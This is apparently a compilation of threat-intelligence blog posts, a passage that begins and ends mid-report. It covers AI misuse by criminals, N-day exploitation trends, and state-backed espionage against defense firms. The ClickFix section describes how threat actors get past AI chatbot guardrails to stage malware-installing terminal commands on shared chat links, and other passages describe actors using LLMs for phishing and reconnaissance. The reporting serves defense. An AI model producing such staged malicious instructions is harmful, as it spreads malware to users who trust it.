    ? RouteGuard: Session approved by admin, allowing free access to

    Error Handling

    ? Analytics: Database error for password attempt:

    Table 2: Example console.log messages extracted from COINBAIT source code

    We also observed the group employ infrastructure and evasion tactics for their operations, including proxying phishing domains through Cloudflare to obscure the attacker IP addresses and  hotlinking image assets in phishing pages directly from Lovable AI. 

    The introduction of the COINBAIT phishing kit would represent an evolution in UNC5356's tooling, demonstrating a shift toward modern web frameworks and legitimate cloud services to enhance the sophistication and scalability of their social engineering campaigns. However, there is at least some evidence to suggest that COINBAIT may be a service provided to multiple disparate threat actors.

    Mitigations

    Organizations should strongly consider implementing network detection rules to alert on traffic to backend-as-a-service (BaaS) platforms like Supabase that originate from uncategorized or newly registered domains. Additionally, organizations should consider enhancing security awareness training to warn users against entering sensitive data into website forms. This includes passwords, multifactor authentication (MFA) backup codes, and account recovery keys.

    Cyber Crime Use of AI Tooling

    In addition to misusing existing AI-enabled tools and services across the industry, there is a growing interest and marketplace for AI tools and services purpose-built to enable illicit activities. Tools and services offered via underground forums can enable low-level actors to augment the frequency, scope, efficacy, and complexity of their intrusions despite their limited technical acumen and financial resources. While financially motivated threat actors continue experimenting, they have not yet made breakthroughs in developing AI tooling. 

    Threat Actors Leveraging AI Services for Social Engineering in 'ClickFix' Campaigns

    While not a new malware technique, GTIG observed instances in which threat actors abused the public's trust in generative AI services to attempt to deliver malware. GTIG identified a novel campaign where threat actors are leveraging the public sharing feature of generative AI services, including Gemini, to host deceptive social engineering content. This activity, first observed in early December 2025, attempts to trick users into installing malware via the well-established "ClickFix" technique. This ClickFix technique is used to socially engineer users to copy and paste a malicious command into the command terminal.

    The threat actors were able to bypass safety guardrails to stage malicious instructions on how to perform a variety of tasks on macOS, ultimately distributing variants of ATOMIC, an information stealer that targets the macOS environment and has the ability to collect browser data, cryptocurrency wallets, system information, and files in the Desktop and Documents folders. The threat actors behind this campaign have used a wide range of AI chat platforms to host their malicious instructions, including ChatGPT, CoPilot, DeepSeek, Gemini, and Grok.

    The campaign's objective is to lure users, primarily those on Windows and macOS systems, into manually executing malicious commands. The attack chain operates as follows:

    • A threat actor first crafts a malicious command line that, if copied and pasted by a victim, would infect them with malware.

    • Next, the threat actor manipulates the AI to create realistic-looking instructions to fix a common computer issue (e.g., clearing disk space or installing software), but gives the malicious command line to the AI as the solution.

    • Gemini and other AI tools allow a user to create a shareable link to specific chat transcripts so a specific AI response can be shared with others. The attacker now has a link to a malicious ClickFix landing page hosted on the AI service's infrastructure.

    • The attacker purchases malicious advertisements or otherwise directs unsuspecting victims to the publicly shared chat transcript.

    • The victim is fooled by the AI chat transcript and follows the instructions to copy a seemingly legitimate command-line script and paste it directly into their system's terminal. This command will download and install malware. Since the action is user initiated and uses built-in system commands, it may be harder for security software to detect and block.

    ClickFix attack chain

    Figure 12: ClickFix attack chain

    There were different lures generated for Windows and MacOS, and the use of malicious advertising techniques for payload distribution suggests the targeting is likely fairly broad and opportunistic. 

    This approach allows threat actors to leverage trusted domains to host their initial stage of instruction, relying on social engineering to carry out the final, highly destructive step of execution. While a widely used approach, this marks the first time GTIG observed the public sharing feature of AI services being abused as trusted domains.

    Mitigations

    In partnership with Ads and Safe Browsing, GTIG is taking actions to both block the malicious content and restrict the ability to promote these types of AI-generated responses.

    Observations from the Underground Marketplace: Threat Actors Abusing AI API Keys

    While legitimate AI services remain popular tools for threat actors, there is an enduring market for AI services specifically designed to support malicious activity. Current observations of English- and Russian-language underground forums indicates there is a persistent appetite for AI-enabled tools and services, which aligns with our previous assessment of these platforms

    However, threat actors struggle to develop custom models and instead rely on mature models such as Gemini. For example, "Xanthorox" is an underground toolkit that advertises itself as a custom AI for cyber offensive purposes, such as autonomous code generation of malware and development of phishing campaigns. The model was advertised as a "bespoke, privacy preserving self-hosted AI" designed to autonomously generate malware, ransomware, and phishing content. However, our investigation revealed that Xanthorox is not a custom AI but actually powered by several third-party and commercial AI products, including Gemini.

    This setup leverages a key abuse vector: the integration of multiple open-source AI products—specifically Crush, Hexstrike AI, LibreChat-AI, and Open WebUI—opportunistically leveraged via Model Context Protocol (MCP) servers to build an agentic AI service upon commercial models.

    In order to misuse LLMs services for malicious operations in a scalable way, threat actors need API keys and resources that enable LLM integrations. This creates a hijacking risk for organizations with substantial cloud resources and AI resources. 

    In addition, vulnerable open-source AI tools are commonly exploited to steal AI API keys from users, thus facilitating a thriving black market for unauthorized API resale and key hijacking, enabling widespread abuse, and incurring costs for the affected users. For example, the One API and New API platform, popular with users facing country-level censorship, are regularly harvested for API keys by attackers, exploiting publicly known vulnerabilities such as default credentials, insecure authentication, lack of rate limiting, XSS flaws, and API key exposure via insecure API endpoints.

    Mitigations

    The activity was identified and successfully mitigated. Google Trust & Safety took action to disable and mitigate all identified accounts and AI Studio projects associated with Xanthorox. These observations also underscore a broader security risk where vulnerable open-source AI tools are actively exploited to steal users' AI API keys, thus facilitating a black market for unauthorized API resale and key hijacking, enabling widespread abuse, and incurring costs for the affected users.

    Building AI Safely and Responsibly 

    We believe our approach to AI must be both bold and responsible. That means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. 

    Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

    At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users, and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. These changes, which can be made to both our classifiers and at the model level, are essential to maintaining agility in our defenses and preventing further misuse.

    Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities and creates new evaluation and training techniques to address misuse. In conjunction with this research, Google DeepMind has shared how they're actively deploying defenses in AI systems, along with measurement and monitoring tools, including a robust evaluation framework that can automatically red team an AI vulnerability to indirect prompt injection attacks. 

    Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

    The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, red teaming to test and secure AI systems, and our comprehensive prompt injection approach.

    Working closely with industry partners is crucial to building stronger protections for all of our users. To that end, we're fortunate to have strong collaborative partnerships with numerous researchers, and we appreciate the work of these researchers and others in the community to help us red team and refine our defenses.

    Google also continuously invests in AI research, helping to ensure AI is built responsibly, and that we're leveraging its potential to automatically find risks. Last year, we introduced Big Sleep, an AI agent developed by Google DeepMind and Google Project Zero, that actively searches and finds unknown security vulnerabilities in software. Big Sleep has since found its first real-world security vulnerability and assisted in finding a vulnerability that was imminently going to be used by threat actors, which GTIG was able to cut off beforehand. We're also experimenting with AI to not only find vulnerabilities, but also patch them. We recently introduced CodeMender, an experimental AI-powered agent using the advanced reasoning capabilities of our Gemini models to automatically fix critical code vulnerabilities. 

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

    About the Authors

    Google Threat Intelligence Group focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed actors, targeted zero-day exploits, coordinated information operations (IO), and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

    N-Day Vulnerability Trends: The Shrinking Window of Exposure and the Rise of “Turn-Key” Exploitation

    11 February 2026 at 16:46

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    N-Day Vulnerability Trends: The Shrinking Window of Exposure and the Rise of “Turn-Key” Exploitation

    In this post we explore the data-driven shrinkage of the Time to Exploit (TTE) window from 745 days to just 44, and examine why N-day vulnerabilities have become the “turn-key” weapon of choice for modern threat actors.

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    February 11, 2026

    The race between defenders and threat actors has entered a new, more volatile phase: the rapidly accelerating exploitation of N-day vulnerabilities. Different from zero-days, N-day vulnerabilities are known security flaws that have been publicly disclosed but remain unpatched or unmitigated on an organization’s systems.

    Historically, enterprises operated under the assumption of a “patching grace period,” the designated window of time allowed for a vendor to test and deploy a fix before a system is considered non-compliant or at high risk. However, this window is effectively collapsing, with Flashpoint finding that N-days now represent over 80% of all Known Exploited Vulnerabilities (KEVs) tracked over the past four years.

    The Collapse of the Time to Exploit (TTE) Window

    The most sobering trend for security operations (SecOps) and exposure management teams is the dramatic reduction in Time to Exploit (TTE). In 2020, the average TTE, the time between a vulnerability’s disclosure and its first observed exploitation, was 745 days. By 2025, Flashpoint found that this window has now plummeted to an average of just 44 days.

    202520242023202220212020
    Average TTE44115296405518745

    This contraction represents a strategic shift in adversary tempo. Attackers are no longer waiting for complex, bespoke exploits; they are moving at breakneck speeds to weaponize public disclosures.

    N-Days Provide a “Turn-Key” Exploit Advantage

    Adversaries have gained a significant advantage through the rapid weaponization of researcher-published Proof-of-Concept (PoC) code. When a fully functional exploit is released alongside a vulnerability disclosure, it becomes a “turn-key” solution for attackers. By combining these ready-made exploits with internet-wide scanning tools like Shodan or FOFA, even unsophisticated threat actors can conduct mass exploitation across large segments of the internet in hours.

    A prime example of this path of least resistance approach was observed in the leaked internal chat logs of the BlackBasta ransomware group. Analysis revealed that of the 65 CVEs discussed by the group, 54 were already known KEVs. Rather than spending resources on original zero-day research, threat actors are simply leveraging known, yet unpatched and exploitable vulnerabilities for their campaigns.

    Defensive Software is a Primary Target for N-Days

    The very software designed to protect enterprise firewalls, VPN gateways, and edge networking devices is consistently the most targeted category for both N-day and zero-day exploitation.

    Because cybersecurity devices must be internet-facing to function, they provide a constant, unauthenticated attack surface. In 2025 alone, Flashpoint observed 37 N-days and 52 zero-days specifically targeting security and perimeter software. The requirement for these systems to remain open to external traffic means they will continue to be disproportionately targeted by advanced persistent threat (APT) groups and cybercriminals alike.

    Attributing N-Day Attacks

    While tracking the “how” of an attack is critical, tracking who is responsible remains a fragmented challenge for the industry. Attribution is often hampered by naming fatigue, where different vendors assign their own designated unique monikers to the same actor. For instance, the widely known threat actor group Lazarus has over 40 distinct designations across the industry, including “Diamond Sleet,” “NICKEL ACADEMY,” and “Guardians of Peace”.

    Despite these naming complexities, global activity patterns remain clear. China remains the most active nation-state actor in the vulnerability exploitation space, consistently outpacing Russia, Iran, and North Korea in both the volume and scope of their campaigns.

    Obstacles for Enterprise Security: Asset Blindness and the CVE Dependency Trap

    Why are organizations struggling to keep pace? The primary factor isn’t a lack of effort, but a lack of visibility.

    1. The Asset Inventory Gap

    The single greatest breakthrough an enterprise can achieve is not a new AI tool, but a complete asset inventory. Most large organizations are lucky to have an accurate inventory of even 25% of their total assets. Without knowing what you own, vulnerability scans can take days or weeks to return results that the adversary is already using to probe your network.

    2. The CVE Blindspot

    Most traditional security tools are CVE-dependent. However, thousands of vulnerabilities are disclosed every year that never receive an official CVE ID. These “missing” vulnerabilities represent a massive blindspot for standard scanners. Intelligence-led exposure management requires looking beyond the CVE ecosystem into proprietary databases like Flashpoint’s VulnDB™, which tracks over 105,000 vulnerabilities that public sources miss.

    Move Towards Intelligence-Led Exposure Management Using Flashpoint

    To survive in an era where weaponization can happen in under 24 hours, organizations must shift from reactive patching to a threat-informed and proactive security approach. This means:

    • Prioritizing by Exploitability and Threat Actor Activity: Focus on vulnerabilities that are remotely exploitable and have known public exploits, rather than just high CVSS scores.
    • Adopting an Asset-Inventory Approach: Moving away from slow, periodic scans in favor of continuous asset mapping that allows for immediate triage.
    • Operationalizing Intelligence: Embedding real-time threat data directly into SOC and IR workflows to reduce the “mean time to action”.

    The goal of exposure management is to look at your organization through the adversary’s lens. By understanding which N-days threat actors are actually discussing and weaponizing in the wild, defenders can finally start to close the window of exposure before a potential compromise can occur.

    Flashpoint’s vulnerability threat intelligence can help your organization go from reactive to proactive. Request a demo today and gain access to quality vulnerability intelligence that enables intelligence-led exposure management.

    Request a demo today.

    The post N-Day Vulnerability Trends: The Shrinking Window of Exposure and the Rise of “Turn-Key” Exploitation appeared first on Flashpoint.

    Beyond the Battlefield: Threats to the Defense Industrial Base

    10 February 2026 at 15:00

    Introduction 

    In modern warfare, the front lines are no longer confined to the battlefield; they extend directly into the servers and supply chains of the industry that safeguards the nation. Today, the defense sector faces a relentless barrage of cyber operations conducted by state-sponsored actors and criminal groups alike. In recent years, Google Threat Intelligence Group (GTIG) has observed several distinct areas of focus in adversarial targeting of the defense industrial base (DIB). While not exhaustive of all actors and means, some of the more prominent themes in the landscape today include: 

    • Consistent effort has been dedicated to targeting defense entities fielding technologies on the battlefield in the Russia-Ukraine War. As next-generation capabilities are being operationalized in this environment, Russia-nexus threat actors and hacktivists are seeking to compromise defense contractors alongside military assets and systems, with a focus on organizations involved with unmanned aircraft systems (UAS). This includes targeting defense companies directly, using themes mimicking their products and systems in intrusions against military organizations and personnel. 

    • Across global defense and aerospace firms, the direct targeting of employees and exploitation of the hiring process has emerged as a key theme. From the North Korean IT worker threat, to the spoofing of recruitment portals by Iranian espionage actors, to the direct targeting of defense contractors' personal emails, GTIG continues to observe a multifaceted threat landscape that centers around personnel, and often in a manner that evades traditional enterprise security visibility.    

    • Among state-sponsored cyber espionage intrusions over the last two years analysed by GTIG, threat activity from China-nexus groups continues to represent by volume the most active threat to entities in the defense industrial base. While these intrusions continue to leverage an array of tactics, campaigns from actors such as UNC3886 and UNC5221 highlight how the targeting of edge devices and appliances as a means of initial access has increased as a tactic by China-nexus threat actors, and poses a significant risk to the defense and aerospace sector. In comparison to the Russia-nexus threats observed on the battlefield in Ukraine, these could support more preparatory access or R&D theft missions. 

    • Lastly, contemporary national security strategy relies heavily on a secure supply chain. Since 2020, manufacturing has been the most represented sector across data leak sites (DLS) that GTIG tracks associated with ransomware and extortive activity. While dedicated defense and aerospace organizations represent a small fraction of similar activity, the broader manufacturing sector includes many companies that provide dual-use components for defense applications, and this statistic highlights the cyber risk the industrial base supply chain is exposed to. The ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks. Additionally, the global resurgence of hacktivism, and actors carrying out hack and leak operations, DDoS attacks, or other forms of disruption, has impacted the defense industrial base. 

    Across these themes we see further areas of commonality. Many of the chief state-sponsors of cyber espionage and hacktivist actors have shown an interest in autonomous vehicles and drones, as these platforms play an increasing role in modern warfare. Further, the “evasion of detection” trend first highlighted in the Mandiant M-Trends 2024 report continues, as actors focus on single endpoints and individuals, or carry out intrusions in a manner that seeks to avoid endpoint detection and response (EDR) tools altogether. All of this contributes to a contested and complex environment that challenges traditional detection strategies, requiring everyone from security practitioners to policymakers to think creatively in countering these threats. 

    1. Longstanding Russian Targeting of Critical and Emerging Defense Technologies in Ukraine and Beyond 

    Russian espionage actors have demonstrated a longstanding interest in Western defense entities. While Russia's full-scale invasion of Ukraine began in February 2022, the Russian government has long viewed the conflict as an extension of a broader campaign against Western encroachment into its sphere of influence, and has accordingly targeted both Ukrainian and Western military and defense-related entities via kinetic and cyber operations. 

    Russia's use of cyber operations in support of military objectives in the war against Ukraine and beyond is multifaceted. On a tactical level, targeting has broadened to include individuals in addition to organizations in order to support frontline operations and beyond, likely due at least in part to the reliance on public and off-the-shelf technology rather than custom products. Russian threat actors have targeted secure messaging applications used by the Ukrainian military to communicate and orchestrate military operations, including via attempts to exfiltrate locally stored databases of these apps, such as from mobile devices captured during Russia's ongoing invasion of Ukraine. This compromise of individuals' devices and accounts poses a challenge in various ways—for example, such activity often occurs outside spaces that are traditionally monitored, meaning a lack of visibility for defenders in monitoring or detecting such threats. GTIG has also identified attempts to compromise users of battlefield management systems such as Delta and Kropyva, underscoring the critical role played by these systems in the orchestration of tactical efforts and dissemination of vital intelligence. 

    More broadly, Russian espionage activity has also encompassed the targeting of Ukrainian and Western companies supporting Ukraine in the conflict or otherwise focused on developing and providing defensive capabilities for the West. This has included the use of infrastructure and lures themed around military equipment manufacturers, drone production and development, anti-drone defense systems, and surveillance systems, indicating the likely targeting of organizations with a need for such technologies.

    APT44 (Sandworm, FROZENBARENTS)

    APT44, attributed by multiple governments to Unit 74455 within the Russian Armed Forces' Main Intelligence Directorate (GRU), has attempted to exfiltrate information from Telegram and Signal encrypted messaging applications, likely via physical access to devices obtained during operations in Ukraine. While this activity extends back to at least 2023, we have continued to observe the group making these attempts. GTIG has also identified APT44 leveraging WAVESIGN, a Windows Batch script responsible for decrypting and exfiltrating data from Signal Desktop. Multiple governments have also reported on APT44's use of INFAMOUSCHISEL, malware designed to collect information from Android devices including system device information, commercial application information, and information from Ukrainian military apps. 

    TEMP.Vermin

    TEMP.Vermin, an espionage actor whose activity Ukraine's Computer Emergency Response Team (CERT-UA) has linked to security agencies of the so-called Luhansk People's Republic (LPR, also rendered as LNR), has deployed malware including VERMONSTER, SPECTRUM (publicly reported as Spectr), and FIRMACHAGENT via the use of lure content themed around drone production and development, anti-drone defense systems, and video surveillance security systems. Infrastructure leveraged by TEMP.Vermin includes domains masquerading as Telegram and involve broad aerospace themes including a domain that may be a masquerade of an Indian aerospace company focused on advanced drone technology.

    Lure document used by TEMP.Vermin

    Figure 1: Lure document used by TEMP.Vermin

    UNC5125

    UNC5125 has conducted highly targeted campaigns focusing on frontline drone units. Its collection efforts have included the use of a questionnaire hosted on Google Forms to conduct reconnaissance against prospective drone operators; the questionnaire purports to originate from Dronarium, a drone training academy, and solicits personal information from targets, notably including military unit information, telephone numbers, and preferred mobile messaging apps. UNC5125 has also conducted malware delivery operations via these messaging apps. In one instance, the cluster delivered the MESSYFORK backdoor (publicly reported as COOKBOX) to an UAV operator in Ukraine.

    UNC5125 Google Forms questionnaire purporting to originate from Dronarium drone training academy

    Figure 2: UNC5125 Google Forms questionnaire purporting to originate from Dronarium drone training academy

    We also identified suspected UNC5125 activity leveraging Android malware we track as GREYBATTLE, which was delivered via a website spoofing a Ukrainian military artificial intelligence company. GREYBATTLE, a customized variant of the Hydra banking trojan, is designed to extract credentials and data from compromised devices.

    Note: Android users with Google Play Protect enabled are protected against the aforementioned malware, and all known versions of the malicious apps identified throughout this report.

    UNC5792

    Since at least 2024, GTIG has identified this Russian espionage cluster exploiting secure messaging apps, targeting primarily Ukrainian military and government entities in addition to individuals and organizations in Moldova, Georgia, France, and the US. Notably, UNC5792 has compromised Signal accounts via the device-linking feature. Specifically, UNC5792 sent its targets altered "group invite" pages that redirected to malicious URLs crafted to link an actor-controlled device to the victim's Signal accounts allowing the threat actor to see victims’ message in real time. The cluster has also leveraged WhatsApp phishing pages and other domains masquerading as Ukrainian defense manufacturing and defense technology companies.

    UNC4221

    UNC4221, another suspected Russian espionage actor active since at least March 2022, has targeted secure messaging apps used by Ukrainian military personnel via tactics similar to those of UNC5792. For example, the cluster leveraged fake Signal group invites that redirect to a website crafted to elicit users to link their account to an actor-controlled Signal instance. UNC4221 has also leveraged WhatsApp phishing pages intended to collect geolocation data from targeted devices.

    UNC4221 has targeted mobile applications used by the Ukrainian military in multiple instances, such as by leveraging Signal phishing kits masquerading as Kropyva, a tactical battlefield app used by the Armed Forces of Ukraine for a variety of combat functions including artillery guidance. Other Signal phishing domains used by UNC4221 masqueraded as a streaming service for UAVs used by the Ukrainian military. The cluster also leveraged the STALECOOKIE Android malware, which was designed to masquerade as an application for Delta, a situational awareness and battlefield management platform used by the Ukrainian military, to steal browser cookies.

    UNC4221 has also conducted malware delivery operations targeting both Android and Windows devices. In one instance, the actor leveraged the "ClickFix" social engineering technique, which lured the target into copying and running malicious PowerShell commands via instructions referencing a Ukrainian defense manufacturer, in a likely attempt to deliver the TINYWHALE downloader. TINYWHALE in turn led to the download and execution of the MESHAGENT remote management software against a likely Ukrainian military entity.

    UNC5976

    Starting in January 2025, the suspected Russian espionage cluster UNC5976 conducted a phishing campaign delivering malicious RDP connection files. These files were configured to communicate with actor-controlled domains spoofing a Ukrainian telecommunications entity. Additional infrastructure likely used by UNC5976 included hundreds of domains spoofing defense contractors including companies headquartered in the UK, the US, Germany, France, Sweden, Norway, Ukraine, Turkey, and South Korea.

    Identified UNC5976 credential harvesting infrastructure spoofing aerospace and defense firms

    Figure 3: Identified UNC5976 credential harvesting infrastructure spoofing aerospace and defense firms

    Wider UNC5976 phishing activity also included the use of drone-themed lure content, such as operational documentation for the ORLAN-15 UAV system, likely for credential harvesting efforts targeting webmail credentials.

    Repurposed PDF document used by UNC5976 purporting to be operational documentation for the ORLAN-15 UAV system

    Figure 4: Repurposed PDF document used by UNC5976 purporting to be operational documentation for the ORLAN-15 UAV system

    UNC6096

    In February 2025, GTIG identified the suspected Russian espionage cluster UNC6096 conducting malware delivery operations via WhatsApp Messenger using themes related to the Delta battlefield management platform. To target Windows users, the cluster delivered an archive file containing a malicious LNK file leading to the download of a secondary payload. Android devices were targeted via malware we track as GALLGRAB, a modified version of the publicly available "Android Gallery Stealer". GALLGRAB collects data that includes locally stored files, contact information, and potentially encrypted user data from specialized battlefield applications.

    UNC5114

    In October 2023, the suspected Russian espionage cluster UNC5114 delivered a variant of the publicly available Android malware CraxsRAT masquerading as an update for the Kropyva app, accompanied by a lure document mimicking official installation instructions.

    Overcoming Technical Limitations with LLMs

    GTIG has recently discovered a threat group suspected to be linked to Russian intelligence services which conducts phishing operations to deliver CANFAIL malware primarily against Ukrainian organizations. Although the actor has targeted Ukrainian defense, military, government, and energy organizations within the Ukrainian regional and national governments, the group has also shown significant interest in aerospace organizations, manufacturing companies with military and drone ties, nuclear and chemical research organizations, and international organizations involved in conflict monitoring and humanitarian aid in Ukraine. 

    Despite being less sophisticated and resourced than other Russian threat groups, this actor recently began to overcome some technical limitations using LLMs. Through prompting, they conduct reconnaissance, create lures for social engineering, and seek answers to basic technical questions for post-compromise activity and C2 infrastructure setup.  

    In more recent phishing operations, the actor masqueraded as legitimate national and local Ukrainian energy organizations to target organizational and personal email accounts. They also imitated a Romanian energy company that works with customers in Ukraine, targeted a Romanian organization, and conducted reconnaissance on Moldovan organizations. The group generates lists of email addresses to target based on specific regions and industries discovered through their research. 

    Phishing emails sent by the actor contain a lure that based on analysis appears to be LLM-generated, uses formal language and a specific official template, and Google Drive links which host a RAR archive containing CANFAIL malware, often disguised with a .pdf.js double extension. CANFAIL is obfuscated JavaScript which executes a PowerShell script to download and execute an additional stage, most commonly a memory-only PowerShell dropper. It additionally displays a fake “error” popup to the victim.

    This group’s activity has been documented by SentinelLABS and the Digital Security Lab of Ukraine in an October 2025 blog post detailing the “PhantomCaptcha" campaign, where the actor briefly used ClickFix in their operations.

    Hacktivist Targeting of Military Drones 

    A subset of pro-Russia hacktivist activity has focused on Ukraine’s use of drones on the battlefield. This likely reflects the critical role that drones have played in combat, as well as an attempt by pro-Russia hacktivist groups to claim to be influencing events on the ground. In late 2025, the pro-Russia hacktivist collective KillNet, for example, dedicated significant threat activity to this. After announcing the collective’s revitalization in June, the first threat activity claimed by the group was an attack allegedly disabling Ukraine’s ability to monitor its airspace for drone attacks. This focus continued throughout the year, culminating in a December announcement in which the group claimed to create a multifunctional platform featuring the mapping of key infrastructure like Ukraine’s drone production facilities based on compromised data. We further detail in the next section operations from pro-Russia hacktivists that have targeted defense sector employees.

    2. Employees in the Crosshairs: Targeting and Exploitation of Personnel and HR Processes in the Defense Sector

    Throughout 2025, adversaries of varying motivations have continued to target the "human layer" including within the DIB. By exploiting professional networking platforms, recruitment processes, and personal communications, threat actors attempt to bypass perimeter security controls to gain insider access or compromise personal devices. This creates a challenge for enterprise security teams, where much of this activity may take place outside the visibility of traditional security detections.

    North Korea’s Insider Threat and Revenue Generation

    Since at least 2019, the threat from the Democratic People’s Republic of Korea (DPRK) began evolving to incorporate internal infiltration via “IT workers” in addition to traditional network intrusion. This development, driven by both espionage requirements and the regime’s need for revenue generation, continued throughout 2025 with recent operations incorporating new publicly available tools. In addition to public reporting, GTIG has also observed evidence of IT workers applying to jobs at defense related organizations. 

    • In June 2025, the US Department of Justice announced a disruption operation that included searches of 29 locations in 16 states suspected of being laptop farms and led to the arrest of a US facilitator and an indictment against eight international facilitators. According to the indictment, the accused successfully gained remote jobs at more than 100 US companies, including Fortune 500 companies. In one case, IT workers reportedly stole sensitive data from a California-based defense contractor that was developing AI technology

    • In 2025, a Maryland-based individual, Minh Phuong Ngoc Vong, was sentenced to 15 months in prison for their role in facilitating a DPRK ITW scheme. According to government documents, in coordination with a suspected DPRK IT worker, Vong was hired by a Virginia-based company to perform remote software development work for a government contract that involved a US government entity's defense program. The suspected DPRK IT worker used Vong’s credentials to log in and perform work under Vong’s identity, for which Vong was later paid, ultimately sending some of those funds overseas to the IT worker. 

    The Industrialization of Job Campaigns 

    Job-themed campaigns have become a significant and persistent operational trend among cyber threat actors, who leverage employment-themed social engineering as a high-efficacy vector for both espionage and financial gain. These operations exploit the trust inherent in the online job search, application, and interview processes, masquerading malicious content as job postings, fake job offers, recruitment documents, and malicious resume-builder applications to trick high-value personnel into deploying malware or providing credentials. 

    North Korean Cyber Operations Targeting Defense Sector Employees 

    North Korean cyber espionage operations have targeted defense technologies and personnel using employment themed social engineering. GTIG has directly observed campaigns conducted by APT45, APT43, and UNC2970 specifically target individuals at organizations within the defense industry.  

    • GTIG identified a suspected APT45 operation leveraging the SMALLTIGER malware to reportedly target South Korean defense, semiconductor, and automotive manufacturing entities. Based on historical activity, we suspect this activity is conducted at least in part to acquire intellectual property to support the North Korean regime in its research and development efforts in the targeted industries; South Korea's National Intelligence Service (NIS) has also reported on North Korean attempts to steal intellectual property toward the aims of producing its own semiconductors for use in its weapons programs.

    • GTIG identified suspected APT43 infrastructure mimicking German and U.S. defense-related entities, including a credential harvesting page and job-themed lure content used to deploy the THINWAVE backdoor. Related infrastructure was also used by HANGMAN.V2, a backdoor used by APT43 and suspected APT43 clusters.  

    • UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The cluster has used Gemini to synthesize open-source intelligence (OSINT) and profile high-value targets to support campaign planning and reconnaissance. UNC2970’s target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This reconnaissance activity is used to gather the necessary information to create tailored, high-fidelity phishing personas and identify potential targets for initial compromise.

    Content of a suspected APT43 phishing page

    Figure 5: Content of a suspected APT43 phishing page

    Iranian Threat Actors Use Recruitment-Themed Campaigns to Target Aerospace and Defense Employees

    GTIG has observed Iranian state-sponsored cyber actors consistently leverage employment opportunities and exploit trusted third-party relationships in operations targeting the defense and aerospace sector. Since at least 2022, groups such as UNC1549 and UNC6446 have used spoofed job portals, fake job offer lures, as well as malicious resume-builder applications for defense firms, some of which specialize in aviation, aerospace, and UAV technology, to trick users/personnel into executing malware or giving up credentials under the guise of legitimate employment opportunities. 

    • GTIG has identified fake job descriptions, portals, and survey lures hosted on UNC1549 infrastructure masquerading as aerospace, technology, and thermal imaging companies, including drone manufacturing entities, to likely target personnel interested in major defense contractors. Likely indicative of their intended targeting, in one campaign UNC1549 leveraged a spoofed domain for a drone-related conference in Asia. 

      • UNC1549 has additionally gained initial access to organizations in the defense and aerospace sector by exploiting trusted connections with third-party suppliers. The group leverages compromised third-party accounts to exploit legitimate access pathways, often pivoting from service providers to their customers. Once access is gained, UNC1549 has focused on privilege escalation by targeting IT staff with malicious emails that mimic authentic processes to steal administrator credentials, or by exploiting less-secure third-party suppliers to breach the primary target’s infrastructure via legitimate remote access services like Citrix and VMware. Post-compromise activities often include credential theft using custom tools like CRASHPAD and RDP session hijacking to access active user sessions. 

    Since at least 2022, the Iranian-nexus threat actor UNC6446 has used resume builder and personality test applications to deliver custom malware primarily to targets in the aerospace and defense vertical across the US and Middle East. These applications provide a user interface - including one likely designed for employees of a UK-based multinational aerospace and defense company - while malware runs in the background to steal initial system reconnaissance data.

    Hiring-themed spear-phishing email sent by UNC1549

    Figure 6: Hiring-themed spear-phishing email sent by UNC1549

    UNC1549 fake job offer on behalf of DJI, a drone manufacturing company

    Figure 7: UNC1549 fake job offer on behalf of DJI, a drone manufacturing company

    China-Nexus Actor Targets Personal Emails of Defense Contractor Employees

    China-nexus threat actor APT5 conducted two separate campaigns in mid to late 2024 and in May 2025 against current and former employees of major aerospace and defense contractors. While employees at one of the companies received emails to their work email addresses, in both campaigns, the actor sent spearphishes to employees’ personal email addresses. The lures were meticulously crafted to align with the targets' professional roles, geographical locations, and personal interests. Among the professional, industry, and training lures the actor leveraged included: 

    • Invitations to industry events, such as CANSEC (Canadian Association of Defence and Security Industries), MilCIS (Military Communications and Information Systems), and SHRM (Society for Human Resource Management). 

    •  Red Cross training courses references.

    • Phishing emails disguised as job offers.

    Additionally, the actor also leveraged hyper-specific and personal lures related to the locations and activities of their targetings, including: 

    • Emails referencing a "Community service verification form" from a local high school near one of the contractor's headquarters.

    • Phishing emails using "Alumni tickets" for a university minor league baseball team, targeting employees who attended the university.

    • Emails purporting to be "open letters" to Boy Scouts of America camp or troop leadership, targeting employees known to be volunteers or parents.

    • Fake guides and registration information leveraging the 2024 election cycle for the state where the employees lived.

    RU Hacktivists Targeting Personnel 

    Doxxing remains a cornerstone of pro-Russia hacktivist threat activity, targeting both individuals within Ukraine’s military and security services as well as foreign allies. Some groups have centered their operations on doxxing to uncover members across specific units/organizations, while others use doxxing to supplement more diverse operations.

    For example, in 2025, the group Heaven of the Slavs (Original Russian: НЕБО СЛАВЯН) claimed to have doxxed Ukrainian defense contractors and military officials; Beregini alleged to identify individuals who worked at Ukrainian defense contractors, including those that it claimed worked at Ukrainian naval drone manufacturers; and PalachPro claimed to have identified foreign fighters in Ukraine, and the group separately claimed to have compromised the devices of Ukrainian soldiers. Further hacktivist activity against the defense sector is covered in the last section of this report.

    3. Persistent Area of Focus For China-Nexus Cyber Espionage Actors 

